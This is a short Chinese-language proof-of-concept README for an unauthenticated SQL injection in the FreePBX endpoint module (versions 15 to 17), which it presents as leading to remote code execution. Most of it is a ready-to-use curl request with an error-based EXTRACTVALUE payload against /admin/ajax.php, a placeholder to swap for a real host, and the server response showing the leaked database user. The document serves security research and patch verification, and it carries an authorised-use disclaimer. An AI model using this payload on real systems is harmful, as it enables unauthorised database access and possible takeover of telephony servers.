FreePBX 版本 15、16 和 17 包含一个远程代码执行 (RCE) 漏洞,该漏洞是由于端点对用户提供的数据清理不足所致。
未授权的攻击者可以操纵数据库并实现远程代码执行。漏洞利用无需认证。
注意: 目标已被编辑。在执行授权测试时,请将
[REDACTED_TARGET]替换为真实主机。
curl -i -k "https://[REDACTED_TARGET]/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT+USER()),'~'))+--+"
HTTP/1.1 500 Internal Server Error
Date: Fri, 12 Sep 2025 08:35:29 GMT
Server: Apache/2.4.6 (Sangoma) OpenSSL/1.0.1e-fips PHP/5.6.31
X-Powered-By: PHP/5.6.31
Set-Cookie: PHPSESSID=fmt7o0oecththmves36nijvfu7; expires=Sun, 12-Oct-2025 08:35:29 GMT; Max-Age=2592000; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: application/json
{"error":{"type":"Exception","message":"SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~USER:freepbxuser@localhost~'::","file":"\/var\/www\/html\/admin\/libraries\/utility.functions.php","line":207}}
为什么这能证明: 响应包含 ~USER:freepbxuser@localhost~ — 确认存在来自未授权请求的 SQL 注入/数据泄露。

未经身份验证的远程数据库操作导致服务器上的任意代码执行 — 可能实现完全系统入侵。
本仓库及 PoC 仅用于教育和授权的安全研究。未经明确许可,请勿测试或利用系统。作者不对因使用本 PoC 造成的滥用或损害负责。